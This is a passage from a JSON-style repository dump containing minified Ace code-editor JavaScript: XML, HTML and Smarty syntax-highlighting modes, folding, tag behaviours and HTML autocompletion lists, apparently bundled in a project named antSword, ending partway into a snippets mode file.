t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),ace.define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),ace.define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:[\"manifest\"],head:[],title:[],base:[\"href\",\"target\"],link:[\"href\",\"hreflang\",\"rel\",\"media\",\"type\",\"sizes\"],meta:[\"http-equiv\",\"name\",\"content\",\"charset\"],style:[\"type\",\"media\",\"scoped\"],script:[\"charset\",\"type\",\"src\",\"defer\",\"async\"],noscript:[\"href\"],body:[\"onafterprint\",\"onbeforeprint\",\"onbeforeunload\",\"onhashchange\",\"onmessage\",\"onoffline\",\"onpopstate\",\"onredo\",\"onresize\",\"onstorage\",\"onundo\",\"onunload\"],section:[],nav:[],article:[\"pubdate\"],aside:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],header:[],footer:[],address:[],main:[],p:[],hr:[],pre:[],blockquote:[\"cite\"],ol:[\"start\",\"reversed\"],ul:[],li:[\"value\"],dl:[],dt:[],dd:[],figure:[],figcaption:[],div:[],a:[\"href\",\"target\",\"ping\",\"rel\",\"media\",\"hreflang\",\"type\"],em:[],strong:[],small:[],s:[],cite:[],q:[\"cite\"],dfn:[],abbr:[],data:[],time:[\"datetime\"],code:[],\"var\":[],samp:[],kbd:[],sub:[],sup:[],i:[],b:[],u:[],mark:[],ruby:[],rt:[],rp:[],bdi:[],bdo:[],span:[],br:[],wbr:[],ins:[\"cite\",\"datetime\"],del:[\"cite\",\"datetime\"],img:[\"alt\",\"src\",\"height\",\"width\",\"usemap\",\"ismap\"],iframe:[\"name\",\"src\",\"height\",\"width\",\"sandbox\",\"seamless\"],embed:[\"src\",\"height\",\"width\",\"type\"],object:[\"param\",\"data\",\"type\",\"height\",\"width\",\"usemap\",\"name\",\"form\",\"classid\"],param:[\"name\",\"value\"],video:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\",\"width\",\"height\",\"poster\"],audio:[\"src\",\"autobuffer\",\"autoplay\",\"loop\",\"controls\"],source:[\"src\",\"type\",\"media\"],track:[\"kind\",\"src\",\"srclang\",\"label\",\"default\"],canvas:[\"width\",\"height\"],map:[\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/smarty_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=function(){i.call(this);var e={start:[{include:\"#comments\"},{include:\"#blocks\"}],\"#blocks\":[{token:\"punctuation.section.embedded.begin.smarty\",regex:\"\\\\{%?\",push:[{token:\"punctuation.section.embedded.end.smarty\",regex:\"%?\\\\}\",next:\"pop\"},{include:\"#strings\"},{include:\"#variables\"},{include:\"#lang\"},{defaultToken:\"source.smarty\"}]}],\"#comments\":[{token:[\"punctuation.definition.comment.smarty\",\"comment.block.smarty\"],regex:\"(\\\\{%?)(\\\\*)\",push:[{token:\"comment.block.smarty\",regex:\"\\\\*%?\\\\}\",next:\"pop\"},{defaultToken:\"comment.block.smarty\"}]}],\"#lang\":[{token:\"keyword.operator.smarty\",regex:\"(?:!=|!|<=|>=|<|>|===|==|%|&&|\\\\|\\\\|)|\\\\b(?:and|or|eq|neq|ne|gte|gt|ge|lte|lt|le|not|mod)\\\\b\"},{token:\"constant.language.smarty\",regex:\"\\\\b(?:TRUE|FALSE|true|false)\\\\b\"},{token:\"keyword.control.smarty\",regex:\"\\\\b(?:if|else|elseif|foreach|foreachelse|section|switch|case|break|default)\\\\b\"},{token:\"variable.parameter.smarty\",regex:\"\\\\b[a-zA-Z]+=\"},{token:\"support.function.built-in.smarty\",regex:\"\\\\b(?:capture|config_load|counter|cycle|debug|eval|fetch|include_php|include|insert|literal|math|strip|rdelim|ldelim|assign|constant|block|html_[a-z_]*)\\\\b\"},{token:\"support.function.variable-modifier.smarty\",regex:\"\\\\|(?:capitalize|cat|count_characters|count_paragraphs|count_sentences|count_words|date_format|default|escape|indent|lower|nl2br|regex_replace|replace|spacify|string_format|strip_tags|strip|truncate|upper|wordwrap)\"}],\"#strings\":[{token:\"punctuation.definition.string.begin.smarty\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.smarty\",regex:\"'\",next:\"pop\"},{token:\"constant.character.escape.smarty\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.single.smarty\"}]},{token:\"punctuation.definition.string.begin.smarty\",regex:'\"',push:[{token:\"punctuation.definition.string.end.smarty\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.smarty\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.double.smarty\"}]}],\"#variables\":[{token:[\"punctuation.definition.variable.smarty\",\"variable.other.global.smarty\"],regex:\"\\\\b(\\\\$)(Smarty\\\\.)\"},{token:[\"punctuation.definition.variable.smarty\",\"variable.other.smarty\"],regex:\"(\\\\$)([a-zA-Z_][a-zA-Z0-9_]*)\\\\b\"},{token:[\"keyword.operator.smarty\",\"variable.other.property.smarty\"],regex:\"(->)([a-zA-Z_][a-zA-Z0-9_]*)\\\\b\"},{token:[\"keyword.operator.smarty\",\"meta.function-call.object.smarty\",\"punctuation.definition.variable.smarty\",\"variable.other.smarty\",\"punctuation.definition.variable.smarty\"],regex:\"(->)([a-zA-Z_][a-zA-Z0-9_]*)(\\\\()(.*?)(\\\\))\"}]},t=e.start;for(var n in this.$rules)this.$rules[n].unshift.apply(this.$rules[n],t);Object.keys(e).forEach(function(t){this.$rules[t]||(this.$rules[t]=e[t])},this),this.normalizeRules()};s.metaData={fileTypes:[\"tpl\"],foldingStartMarker:\"\\\\{%?\",foldingStopMarker:\"%?\\\\}\",name:\"Smarty\",scopeName:\"text.html.smarty\"},r.inherits(s,i),t.SmartyHighlightRules=s}),ace.define(\"ace/mode/smarty\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/smarty_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./smarty_highlight_rules\").SmartyHighlightRules,o=function(){i.call(this),this.HighlightRules=s};r.inherits(o,i),function(){this.$id=\"ace/mode/smarty\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-snippets.js",
    "content": "ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return 